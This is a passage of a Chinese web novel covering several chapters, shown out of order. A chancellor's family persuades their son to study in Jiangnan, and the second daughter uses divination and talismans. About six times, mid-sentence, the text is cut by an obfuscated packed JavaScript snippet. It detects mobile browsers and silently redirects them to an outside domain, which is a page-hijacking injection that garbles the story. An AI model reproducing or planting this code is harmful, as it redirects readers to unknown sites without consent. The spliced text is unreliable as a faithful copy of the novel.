“长姐!您别光坐着不说话啊!您最明事理了,快替我跟爹娘说说情啊!” “胡闹!”坐在上首的林正言将手中的茶盏重重往桌上一顿,发出清脆的响声,脸色沉了下来, “你这般大呼小叫、顶撞父母,便是你在书院学来的规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539782|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩吗?目无尊长,成何体统!” 沈清秋见状,连忙起身,先走到林之言身边轻轻抚了抚他的后背以示安抚,然后又转身来到儿子面前,拉住他的手,语重心长地劝道: “明儿,此事是我与你父亲深思熟虑后共同决定的。此番让你随你舅舅前往江南,并非不疼你,正是为了你的前程着想。 江南文风鼎盛,名师大儒辈出,让你去那边进学,是盼你能远离京城浮华,静心读书,他日考取功名,凭真才实学建功立业啊!” 林景明却完全听不进去,甩开母亲的手,反驳道: “为了我的前程?在京城不是更好吗?父亲贵为丞相,我在京城最好的书院进学,只要我循规蹈矩,学业不算太差,有父亲在仕途上为我打点,未来何愁不能平步青云? 可若是此番随舅舅去了江南,外祖一家皆是经商,无人涉足官场,在那等地方,我岂不是如同无根浮萍? 这哪里是为我好,这分明是……分明是把儿子往火坑里推啊!总之,儿子不想去,就算是这辈子当个纨绔之人,我也不想去那么远的地方。” 他的声音带着委屈和不解,几乎要哭出来。 沈清秋看着儿子激动委屈的模样,眼中闪过一丝心疼,但更多的却是无奈与坚决。 她再次拉住林景明的手,声音柔和却带着不容置疑的力量: “明儿,我的傻孩子,你怎么就不明白爹娘的苦心呢?也许在你看来爹娘太过于自私,我们是真真实实的为了你好啊。” 她叹了口气,目光扫过脸色依旧难看的林正言,又落回儿子脸上,压低了声音,语重心长地道: “你只看到京城表面的繁华似锦,看到你父亲身居丞相之位的光鲜,可你可知这大胤朝堂,内里早已是…… 唉,贪腐滋生、党争倾轧,远非你想象的那般清明!你父亲虽位居丞相,看似权柄在握,可每一步都如履薄冰,在朝堂周旋亦是艰难无比,其中的凶险,岂是你这年纪能体会的?” 第167章 无人管束 她轻轻抚摸着儿子的手背,继续道: “正因如此,爹娘才更不能让你一味依赖父荫!靠山山会倒,靠人人会跑!你若只想靠着父亲的权势安享富贵,将来若有一日……你让爹娘如何放心? 娘亲从不求你非得封侯拜相、位极人臣,但你是林家儿郎,身为男子汉大丈夫,顶天立地,自当有安身立命的本事,有匡扶社稷、报效家国的志向! 这才是你该走的路,该担的责任啊!” 沈清秋的语气愈发恳切: “让你去江南,正是想让你远离这是非漩涡的中心,在一个相对清净的环境里,真正沉下心来,凭自己的努力读书明理,增长才干。 外祖家虽不从政,但家风淳朴,资源丰沛,更能护你周全。 待你学有所成,羽翼丰满,再回京城,届时无论是科考入仕,还是另有抱负,都能有真正的底气,而不是永远活在父亲的羽翼之下,你明白吗?” 林景明见母亲态度坚决,心中更是慌乱,忍不住再次将求助的目光投向一直沉默的林知鸢。 林知鸢接收到弟弟的眼神,轻叹一声,起身先向父亲林之言福了一礼,柔声开口道: “父亲,请您先消消气。景明年岁尚小,一时难以体会父母深意,也是情有可原。” 她转向父母,语气温婉却带着几分恳切: “江南外祖家虽好,终究是客居,不比自家自在。景明自小在京城长大,熟悉此地风物人情,骤然离家千里,去一个全然陌生的环境,身边又无父母至亲相伴,心中惶恐不舍,也是人之常情。 再者,京城书院亦是名师汇聚,若能严加管教,让景明收心养性,未必不能成才。是否……再容他一些时日,或另寻他法?” 林景明一听长姐为自己说话,立刻像是找到了主心骨,连忙一个劲儿地点头附和,带着哭腔道: “就是嘛!长姐说得对!江南人生地不熟的,我、我会想家的!我真的不想离开爹娘,不想离开长姐嘛!我就想待在京城,待在爹娘身边!我会好好读书的,我保证!” 他一边说,一边用袖子抹着快要掉下来的眼泪,模样甚是可怜。 林之言看着儿子那副可怜兮兮的模样,又看了看为弟弟求情的长女,脸上的怒容渐渐化为一种深沉的疲惫与复杂。 他缓缓站起身,走到林景明面前,高大的身影带着久居上位的威严,却又透出一丝为人父的无奈。 “景明,”他的声音低沉,却不再像刚才那般严厉, “你且抬起头来,看着为父。” 林景明怯怯地抬起头,对上父亲深邃的目光。 林之言缓缓道:“从小到大,无论是你,还是你姐姐知鸢,为父对你们姐弟二人,自问从未有过偏颇。 知鸢聪慧,我便请名师教她诗书棋画,从不因她是女子而拘着她。你顽皮,我虽管教严厉,却也盼你成龙。 在我林正言的家中,从未有过‘重男轻女’这等迂腐之见。” 他话锋一转,语气变得沉重而现实: “然而,景明,你要明白,家是家,国是国。这世道便是如此!放眼朝堂,衮衮诸公,可有女子位列其中? 为国效力、匡扶社稷,眼下终究是男儿之责。你身为大胤子民,更是当朝丞相之子,享受着常人难以企及的尊荣与资源,岂能只知安享富贵,而无半分担当之心?” 林之言的目光锐利起来,“为父在朝堂之上,看似风光,实则每一步都关乎家族兴衰、甚至身家性命。林家未来的门楣,终究需要你来支撑。 若你只愿做个碌碌无为、依附父荫的纨绔,将来如何应对朝堂风云?如何守护你母亲、姐姐,乃至林家上下?” 他伸出手,重重地按在儿子的肩膀上,声音里带着一丝不易察觉的沙哑,这是褪去丞相外衣后,纯粹属于一个父亲的期望与担忧: “爹娘让你去江南,并非不疼你,恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539783|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恰是因为太疼你,才不能让你长成温室里的花朵,经不起半点风雨。 爹希望你,能成为一个真正的男子汉,一个有本事、有骨气、能扛起责任的林家继承人,而非一个永远需要父辈庇护的孩子。你……可能明白为父这片心?” 林景明听着父亲这番肺腑之言,肩膀被父亲大手按着,能感受到那份沉甸甸的期望。 他眼圈更红了,嘴唇嚅嗫了几下,声音带着哽咽和不甘: “爹……您说的这些道理,儿子……儿子不是完全不明白。可是……可是江南那般繁华之地,沈家又富甲一方,您和娘将我送到那样一个无人严厉管束、外祖父外祖母和舅舅们定然只会宠着我、顺着我的地方。 难道……难道就不怕我非但没能静心读书,反而被那富贵繁华迷了眼,变得更加顽劣不堪吗?到时候天高皇帝远,谁又能真正管得了我?” 他越说越觉得自己的担忧有道理,仿佛已经看到了自己在江南无法无天的未来,语气里甚至带上了一丝自暴自弃的意味。 林之言闻言,非但没有动怒,反而眼中闪过一丝不易察觉的笑意,但那笑意很快便被更深的严肃取代。 他收回手,负手而立,目光如炬地看着儿子: “你能想到这一层,为父倒是有些意外,说明你并非全然不懂事。” “正因如此,为父才更要送你出去!若你留在京城,永远活在为父的羽翼和眼皮底下,你便永远学不会何为‘自律’,何为‘责任’!” “至于你担心无人管束?”林之言冷哼一声, “你外祖父家风严谨,绝非纵容溺爱之辈!为父已与你舅舅深谈过,你去了江南,一切用度皆有定例,绝无挥霍之理。 进哪家书院、拜何人为师,皆已安排妥当,皆是治学严谨、要求苛刻之名士。你若敢顽劣懈怠,自有书院的规矩、先生的戒尺等着你!你外祖家是疼你,但绝不会纵容你成为纨绔废物!” 第182章 男儿志在四方 “景明,你记住,真正的成长,不是靠别人时时刻刻的看管,而是靠你自己心中立起的标杆和戒尺! 此番去江南,就是要把你放到一个相对独立的环境里,让你学会自己管住自己!若你连这点考验都经受不住,那才真是辜负了爹娘的期望,证明你确实不堪大用!” “爹说的没错。”一个带着几分慵懒却清晰的声音从花厅门口传来。 众人望去,只见林小满带着小花,正慢悠悠地踱步进来。 她脸上带着刚睡醒的松快,眼神却已是一片清明。 沈清秋一见她,立刻关切地迎上前:“小满,你昨儿个夜里回来得那么晚,怎么今日不多歇息一会儿?眼下还有些泛青呢,快回去再睡个回笼觉。” 林小满摆了摆手,目光似笑非笑地瞥向一旁缩着脖子的林景明: “再不起来,这臭小子派去的人怕是要把我那院门都给敲破了。爹娘怕是还不知道吧? 他一大早就派人火急火燎地到我那儿求救,声泪俱下地说爹娘狠心要把他发配到什么‘苦寒之地’去,求我这个当姐姐的赶紧来救他于水火呢。” 林景明被当面戳穿,顿时臊得满脸通红,尴尬地用手挠着头,恨不得找个地缝钻进去。 一旁的林知鸢没忍住,“噗嗤”一声笑了出来,掩口道: “还真别说,这事儿确实是景明做得出来的。以往在府里,每次闯了祸怕爹娘责罚,他也是这般,不是来找我,就是去缠着祖母求救。” 林景明见势不妙,连忙凑到林小满身边,扯着她的袖子,半是撒娇半是辩解道: “哎呀,好姐姐!我、我这不是舍不得您嘛!您才刚回府,我们姐弟还没好好团聚几日,我就要去那么远的地方,这一别又得好几年……我、我是真想和姐姐多待些日子嘛!” 林小满伸出食指,不轻不重地戳了戳他的额头,笑骂道: “少来这套!又不是让你在江南待一辈子,至多三年,只要你学业有成、心智成熟,爹自然会召你回来。 三年的时间,说长不长,说短不短,足够让你褪去稚气,成长为一个明事理、有担当的男子汉了。” “再者,江南虽富庶,但与闽浙等地毗邻,民生多态。爹娘早已与外祖家和表哥们通过气,届时让他们多带你出去游历,不只看那繁华锦绣,更要去那田间地头、市井巷陌,看看寻常百姓是如何劳作生计,体会民生之艰难。 让你知道,我们如今所食所穿,皆是民力维艰而来。这比你在京城闭门读死书,要有用得多。” 端坐上的林正言听着林小满这一番条理清晰,眼中不禁流露出激赏与欣慰之色。 他这个女儿,虽自幼流落在外,未曾受过一日高门贵女的教养,却偏偏生得如此通透豁达、见识不凡。 这份心智与气度,真真是随了他林正言!不愧是他林家的血脉! 他心中因儿子不懂事而起的郁气,此刻也消散了大半,取而代之的是一种对女儿由衷的骄傲。 林正言看着眼前三个儿女的温婉聪慧的知鸢,通透豁达的小满,还有这个虽聪颖却尚显稚嫩任性的幼子景明,心中感慨万千。 他目光落在林景明身上,语气深沉地说道: “景明,你抬眼看看你的两位姐姐。知鸢自幼在京中长大,知书达理,性情温婉却内有丘壑,处事周全,从未让为父与你母亲过多操心。 小满她……虽命运多舛,自幼离家,却能在那般境遇中自强不息,养成果敢坚韧的性子,见识胸襟不输男儿,甚至更为通透豁达。” 他顿了顿,语气中带着一丝殷切的期望,也有一丝不易察觉的无奈: “为父不求你立刻便能如她们一般成熟懂事,但你若能有你两位姐姐一半的沉稳明理、一半的自立自强,为父与你母亲,又何须为你操这般心,定要送你远行历练?” “你两位姐姐,便是你现成的榜样。多在她们身边学学,看看她们是如何处事、如何思考的。 尤其是你小满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539784|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐,她经历独特,许多见解或许更能让你有所启发。你若能潜心学习,哪怕只学得五六分,将来也必能成为我林家的栋梁之材。” 这话既是说给林景明听,希望他能以姐姐们为楷模,也是林正言作为父亲,对女儿们由衷的赞赏与骄傲。 林景明听着父亲语重心长的教诲,又看了看身旁两位气质各异却同样出色的姐姐,尤其是刚刚回来、带着一身神秘色彩却句句在理的二姐林小满。 他心中的抵触和委屈渐渐被一种复杂的情绪取代,羞愧,触动,也有一丝不甘落于人后的好胜心。 他深吸一口气,用力抹了把脸,将残存的泪痕擦干,然后挺直了尚且单薄的脊梁,面向父母,郑重地说道: “爹,娘,儿子……儿子知错了。是儿子糊涂,只贪图眼前安逸,未能体会爹娘的深谋远虑。” 他转向林小满和林知鸢,诚恳地说:“两位姐姐都是儿子的榜样,儿子……定会以姐姐们为楷模,好好学着懂事、学着担当。” 他目光坚定地看向林正言,“儿子愿意随舅舅前往江南。请爹娘放心,儿子此去,定会谨记教诲,在外祖家和书院规矩下好好进学,绝不敢懈怠放纵。 我会用心读书,也会跟着表哥们去体察民情,增长见识。 三年后,儿子定当学有所成,不负爹娘期望,堂堂正正地回京!” 沈清秋见儿子终于想通,眼中瞬间涌上欣慰的泪光,她上前一把将林景明搂在怀里,声音哽咽却满是喜悦: “好!好!这才是娘的好孩子!娘就知道,我们的明儿是最懂事的!你放心,你外祖家虽在江南,但也绝非任人可欺之门第,你舅舅们亦会护你周全。你只管安心求学,娘在京城等着你成才归来!” 林之言看着妻儿,严肃的脸上也终于露出了释然的笑意,他点了点头,沉声道: “既已想通,便要做好准备。男儿志在四方,此番远行,于你而言,是挑战,更是机遇。莫要辜负了这大好光阴。” 第169章 哎呦,是我来的不巧了? 林小满略一沉吟,仿佛不经意般开口道: “既然景明已决定去江南进学,我倒是想起一事。听闻江南之地,隐有一位大儒,号‘竹心先生’,此人不仅学问渊博,更难得的是精通经世致用之学,且性情高洁,不慕权贵。 若是景明能有幸拜入其门下,得其指点一二,无论学问心性,想必都能获益匪浅,远胜寻常书院。” 林知鸢闻言,略显惊讶地看向林小满,接口道: “小满,你竟也听说过竹心先生?姐姐在京城闺阁之中,亦曾闻其名,据说他早年曾为帝师,后因厌倦朝堂纷争,辞官归隐,如今确实避世已久,行踪成谜。 就连他是否仍在江南,都无人能确定。想拜他为师,怕是难如登天。” 端坐上的林正言微微颔首,目光中带着探究看向林小满: “知鸢说得不错。竹心先生乃当世大贤,其学问人品,为父亦十分敬重。只是他归隐已二十余载,早已不同外事,踪迹飘忽。 近年来更是鲜有消息传出,许多人猜测他已仙逝。 小满,你方才提及……莫非你知道些什么?或是有什么门路可以寻到他?” 他的语气中带着一丝不易察觉的期待,毕竟,若幼子真能得竹心先生教导,那将是天大的造化。 林小满轻描淡写地笑了笑,说道: “爹娘有所不知,女儿早年在外时,曾偶然救过一位受伤的老者。当时只当他是个寻常落魄文人,悉心照料了些时日。他伤愈离去前,才告知我他号‘竹心’。” “他说欠我一份人情,日后若遇难处,可去寻他。那时我并未多想,只当是老人家一番心意。后来到了京城,听闻竹心先生的传奇,对照年貌特征与这信物,才惊觉当初所救之人,竟是他老人家。” 沈清秋深知女儿有些非凡本事,懂医术玄理,救个落难之人倒也不算稀奇,故而并未太过惊讶,只是眼中流露出欣慰。 林正言虽听夫人提过女儿有些特别,但一直半信半疑,此刻见女儿说得有板有眼,心中不禁掀起惊涛骇浪,看向林小满的目光更加深邃难测。 沈清秋心思转得快,立刻问道:“小满,你的意思是……想用竹心先生欠你的这份人情,请他破例收景明为徒?” 林小满点了点头,坦然道:“正是。景明既有心向学,若能得名师指点,自是事半功倍。这份人情用在弟弟的前程上,再合适不过。” 一直安静站在林小满身后的小花,此刻却忍不住悄悄用手指戳了戳她的后背,凑近她耳边用极低的声音嘀咕道: “小满!你什么时候认识了这么厉害的人物?还救了人家?我怎么一点都不知道?”语气里满是好奇。 林小满微微侧过头,用只有小花能听到的极低声音快速说道: “我哪儿认识什么竹心先生?不过是刚才替景明卜了一卦,卦象显示他此番江南之行,自有贵人相助,会拜一位号中含‘竹’、心性高洁的隐士为师,日后前程似锦。 我不过是顺着卦象,给爹娘吃颗定心丸罢了。” 小花闻言,立刻偷偷翻了个白眼,丢给林小满一个“我就知道你又来这套”的鄙视眼神,但嘴角却忍不住微微上扬。 另一边,林景明听着爹娘和二姐三言两语间,仿佛已经为自己铺就了一条通往名师门下的康庄大道,心中一时五味杂陈。 能得家人如此鼎力相助,他无疑是幸运的,世上如他这般被父母姐妹精心筹划前程的男儿确实不多。 作为父亲的嫡子,更是唯一的儿子,他深知自己肩上承载的期望。 他忽然想起什么,几步蹭到林小满身边,抓住她的手臂轻轻摇晃着,带着几分撒娇的意味说道: “姐姐……江南我是答应去了,可我还是舍不得你嘛!我还想多跟你待些日子,看你施展那些玄妙法术,抓鬼除妖、卜卦算命呢!肯定比听夫子讲学有趣多了!” 林小满被他晃得好笑,伸出食指点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539785|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点他的额头,嗤笑道: “瞧你这点出息!想听故事还不简单?等你学成归来,姐姐我把经历过的奇闻异事都讲给你听,保证比话本子还精彩!怎么,难道你还不相信你姐姐我说故事的本事?” “相信是相信,可是听来的故事,哪有亲眼所见来得精彩有趣嘛!” 林景明嘟囔着,见林小满朝他丢来一个“没出息”的白眼,他赶紧话锋一转,笑嘻嘻地凑得更近,压低声音道: “那……好姐姐,你看我都要出远门了,你能不能……送我几张那种特别厉害的符纸防身?就是……你平时用的那种!” 林小满被他这鬼鬼祟祟又充满期待的样子逗乐了,故意拖长了语调,慢悠悠地说: “可以啊,到时候给你画两张……嗯……桃花符怎么样?保准你到了江南,人见人爱,花见花开,让你外祖家的表姐妹们啊、书院同窗的妹妹们啊,都围着你转?” 林景明一听,脸瞬间涨得通红,像是被踩了尾巴的猫,急得直跳脚: “姐姐!你、你胡说什么呢!谁要那种符了!我是说……是那种能保平安的!或者……或者能让人变得聪明一点的!再不济,能打跑坏人的也行啊!” 他一边说,一边手忙脚乱地比划着,生怕林小满真给他塞一叠桃花符,那他去江南可就真要“名声远扬”了。 正说话间,管家恭敬地引着一人步入花厅,来人未语先笑,声音洪亮带着几分爽朗, “哎哟!我这是不是来得不巧,打扰你们一家子团聚说体己话了呢?” 众人闻声望去,只见一位身着锦袍、面容富态、眉眼间与沈清秋有几分相似的中年男子笑着走了进来,正沈盛德。 沈清秋一见兄长,脸上立刻露出真切的笑容,起身迎道: “大哥说的哪里话,快请进!我们正说起你呢,景明去江南的事,还要多劳你费心照料。” 林正言也起身颔首示意:“舅兄来了。” 第170章 你外祖母身子不好 林知鸢和林小满也纷纷向舅舅行礼问好。 林景明看到舅舅,想到即将离家跟随他去江南,心情更是复杂,也乖乖叫了声:“舅舅。” 沈盛德笑呵呵地摆摆手,目光在众人脸上转了一圈,尤其是在眼睛还微微发红的林景明和林小满身上多停留了一瞬,这才对沈清秋和林之言说道: “一家人不说两家话,景明是我的亲外甥,我自然会把他当自家孩子一样看顾,你们就放一百个心吧!” 沈盛德笑呵呵地应承完,转头便对林景明说道:“景明啊,别愣着了,快去收拾收拾行李细软,马车已经在门外候着了,我们这就出发。” 此言一出,莫说林景明,就连一向沉静的林知鸢都微微睁大了眼睛,讶然道: “舅舅,这……这是不是太仓促了些?景明才刚决定要去,许多东西都还未及准备,是否宽限一两日,让他好好与好友话别,也仔细打点行装?” 林景明更是如同被兜头泼了一盆冷水,刚才那点壮志豪情瞬间被这突如其来的“即刻出发”打得七零八落。 他猛地看向沈清秋,眼圈一下子又红了,带着难以置信的委屈和惊慌,声音都带了哭腔: “娘!舅舅说的是真的吗?你们……你们是不是早就计划好了?就等着我点头,然后立刻把我送走? 我、我该不会……该不会不是你们亲生的吧?你们就这么急着把我赶出家门吗?” 他越想越觉得可疑,越想越觉得伤心,刚刚建立起来的决心瞬间土崩瓦解,只剩下被“抛弃”的恐慌和难过。 沈清秋见儿子这般反应,又是好气又是好笑,伸手轻点了一下林景明的额头,无奈道: “你这傻孩子,胡说些什么呢?你当然是爹娘亲生的儿子,如假包换!” 她叹了口气,解释道:“原本是想让你缓几日再动身。只是今日凌晨,你舅舅接到江南急信,说你外祖母近来身子有些不太爽利,心中挂念,催他速归。 我们也是今早才得知消息,让你随舅舅一同回去,既是进学,也是代娘亲去探望、侍奉外祖母,尽一份孝心。事出突然,并非有意瞒你,更不是要赶你走,莫要胡思乱想。” 林景明一听事关外祖母,脸上的委屈和惊慌立刻被担忧取代,急忙转向沈盛德问道: “舅舅,外祖母身子怎么了?严不严重?可还好吗?” 沈盛德见状,收起了一些玩笑神色,宽慰道: “好孩子,别太担心。你外祖母是些**病了,年纪大了,难免有些气血不畅,头晕目眩的老症候。只是这次信中说得比往常急切些,老人家又念叨着想见见孙辈。 我想着正好带你回去,让她老人家看看外孙,一高兴,说不定病就好得快些。早些回去,也免得她挂心。” 沈清秋也接口道:“正是这个理儿。娘身在内宅,路途遥远,不便时常归宁,心中一直挂念你外祖母。 景明,你此去江南,定要替娘在你外祖母跟前多多尽孝,承欢膝下,让她老人家宽心。你的孝心,便是对爹娘最大的安慰了。” 林景明听到这里,方才那点被“抛弃”的疑虑和委屈彻底烟消云散,取而代之的是一种身为男儿和孙辈的责任感。 他用力点了点头,脸上的神色变得坚定起来:“娘,我明白了!您放心,我一定会好好孝顺外祖母,也会认真进学,不辜负爹娘和舅舅的期望!” 他顿了顿,又想起一事,带着点恳求的语气对沈清秋说: “娘,我这就去收拾东西。只是……能不能容我给我那几位好友写封信?他们还在等着我明日去蹴鞠呢,我突然走了,总得告诉他们一声去处,不然他们找不到我,该着急了。 以后……以后没有我陪他们玩了,他们肯定觉得怪无聊的。”说到最后,语气里不免又带上了几分对京城玩伴的不舍。 沈清秋看着儿子这般懂事又念旧情的模样,心中一片柔软,伸手摸了摸他的脑袋,柔声道: “傻孩子,这点要求娘还能不答应你?去吧,娘陪你一起去收拾,你也正好边收拾边想想信里写些什么。” 林景明见母亲答应,脸上立刻阴转晴,用力“嗯”了一声,伸手挽住沈清秋的手臂,带着点依赖的意味,母子二人便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539786|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一同向后院走去,准备打点行装。 林小满看着弟弟瞬间转变的情绪和挽着手臂的亲昵姿态,不由得摇头失笑,这小子的心思,还真是六月天,说变就变。 沈盛德目送着妹妹和外甥的背影消失在廊庑尽头,脸上那惯常的爽朗笑容渐渐敛去,取而代之的是一抹沉重的忧色。 他重重地叹了口气,回身坐下,对林正言低声道: “不瞒你们说,这次江南来的信,言辞颇为急切。从字里行间看,母亲这次……恐怕不只是寻常的**病,情况不太乐观,大夫私下里说,怕是……很难熬过这个冬天了。” 他顿了顿,看了一眼沈清秋离去的方向,声音压得更低,“清秋的身子骨,这些年你也知道,一直不算硬朗,经不起快马加鞭的长途颠簸。 若是让她此刻跟我日夜兼程赶回去,只怕人还没到江南,自己就先病倒了。到时候,母亲若见到她这般模样,心里岂不更添煎熬?定要责备我没照顾好妹妹。 她们母女俩,一个在病榻上牵挂,一个在路上受苦,相互惦记担心,别到时候搞得两个人都……唉,我实在是两难啊。” 林知鸢在一旁静静听着,秀眉微蹙,眼中流露出思索的神色。 她轻轻上前一步,柔声开口道:“舅舅的顾虑,我明白。只是……外祖母的身子竟然已经差到如此地步了么?” 她语气里带着一丝不易察觉的凝重,“若是如此,女儿觉得,或许更应该让娘亲回去一趟。” 她转向林正言和沈盛德,目光清澈而坚定:“娘亲虽然身子弱些,但我们若安排妥当,马车行得平稳些,路上多歇息,未必不能支撑。 娘亲心中定然是极想见外祖母最后一面的,这是为人子女的至孝之心。外祖母病中,想必也最是想念娘亲。 若因顾虑路途艰辛而让母女二人不得相见,将来无论是对娘亲,还是对外祖母,恐怕都会留下难以弥补的遗憾。舅舅,您说呢? 与其让她们隔着千山万水相互悬心,不如让娘亲回去,哪怕只是见上一面,说几句话,彼此心中也能得些安慰,不留遗憾啊。” 第171章 有些特别本事 沈盛德闻言,面露沉吟之色,手指无意识地敲着桌面: “知鸢,你说的……不无道理。母女连心,若能相见,自是最好。只是我担心清秋她……”他仍是放心不下妹妹的身体。 一直端坐主位的林正言此时缓缓开口,“舅兄,知鸢所言在理。”他目光扫过妻舅和长女,最终定格在沈盛德担忧的脸上, “清秋是岳母大人的亲生女儿,至亲病重,她若不能侍奉榻前,于心何安?这份牵挂忧虑,本身就会耗损她的心神,未必就比旅途劳顿来得轻松。” 他略一沉吟,继续道:“这样吧,就让清秋随你们一同回去。不必与你们同行赶路,由知鸢陪着,另备一辆宽敞舒适的马车,带上得力的丫鬟仆妇和府医,一路缓行,以安全舒适为上,不必计较时日。 如此,既全了她们母女之情,也尽量顾及了清秋的身体。家中事务,自有我打理,舅兄不必挂心。” 沈盛德面色沉重地摇了摇头,眉宇间的忧虑并未因林正言的提议而消散。 他抬手打断了还想再劝的林正言,“正言,你的心意我明白,这法子听起来是稳妥。但清秋的身子,我比谁都清楚……说是旧疾,实则底子亏空得厉害,是当年生景明时落下的病根,一直没能彻底调理过来。 江南路途遥远,即便马车再舒适,一路缓行,这舟车劳顿、风餐露宿之苦,对她而言也是极大的负担。 只怕到了江南,她自己也倒下了,岂不是让母亲见了更添心病?不行,这个险我不能冒。” 厅内一时陷入沉默,弥漫着一种无力的沉重感。 就在这时,一直安静旁观的林小满忽然轻声开口,“舅舅,爹,大姐……有没有一种可能,外祖母的身子,其实并没有我们想的那么严重?” 沈盛德正心烦意乱,闻言猛地抬头看向林小满,眼中骤然爆发出急切的光芒,像是抓住了救命稻草,连忙追问: “小满!你这话是何意?难道你……你外祖母她……”他此刻也顾不得深究,只盼着她能说出些转机。 林小满,“我虽未亲眼见到外祖母,但方才听舅舅描述,心中忽有所感。外祖母此劫看似凶险,实则是多年积劳成疾,加上季节更替引发的一场急症。 病势来得猛,故而信中言辞急切,让人心忧。但此病并非无药可医的绝症,关键在于对症下药和悉心调养。 只要找到病因,用对方法,好生将养些时日,外祖母定能转危为安,逐渐康复。舅舅莫要过于忧心。 外祖母与外祖父福泽深厚,依我看来,外祖母如今也才六十几岁,他们二老至少……还有十年的高寿呢。” 她最后一句说得轻描淡写,却像一颗定心丸,落入了沈盛德焦灼的心田。 林正言在一旁听着,只当是小女儿家为了宽慰舅舅说的吉祥话,并未全然当真。 他叹了口气,依旧想着如何说服沈盛德:“舅兄,小满也是一片孝心,盼着岳母安康。但此事关系重大,清秋她……” “不,正言!”沈盛德却猛地出声,打断了林正言的话。 他脸上的阴霾竟驱散了大半,眼神里重新燃起了希望,他看向林小满的目光充满了信任, “小满既然这么说,那母亲定然无碍!她说至少还有十年,那就必然还有十年!” 沈盛德这突如其来的转变和笃信,让林正言都微微一愣。 林正言是半信半疑,觉得舅兄是忧心过度,以至于将小满的安慰之语当成了金科玉律。 沈盛德却像是卸下了千斤重担,长长舒了一口气,语气也轻松了不少: “既然母亲并无大碍,那清秋确实不必急着赶回去了。就按原计划,我先带景明快马加鞭回去探望,等母亲病情稳定了,再视情况决定清秋是否回去省亲。 如此,既能让母亲见到孙儿聊以慰藉,也免了清秋奔波之苦,两全其美!” 林正言见他心意已决,且听起来也确实更为稳妥,便也不再坚持,点了点头: “既然如此,便依舅兄所言。” 府门口,行李已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16539787|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然装车,林景明正与林正言、沈清秋和林知鸢依依话别,眼圈依旧有些泛红。 沈盛德在一旁看着,虽心下稍安,但眉宇间仍残留着一丝对母亲病情的隐忧。 这时,林小满悄悄扯了扯他的衣袖,给他递了个眼色,将他引到一旁廊柱后。 沈盛德虽有些疑惑,但还是跟了过去。只见林小满从袖中取出两道折叠成小巧倒三角状的黄色符纸,递到他面前。 沈盛德疑惑地看向林小满:“小满,这是……?” 林小满压低声音道:“舅舅,这是两道护身符。一道是给你的,此行路途遥远,戴在身上以求平安。另一道,” 她将其中一道往前又递了递,“是给外祖母的。” 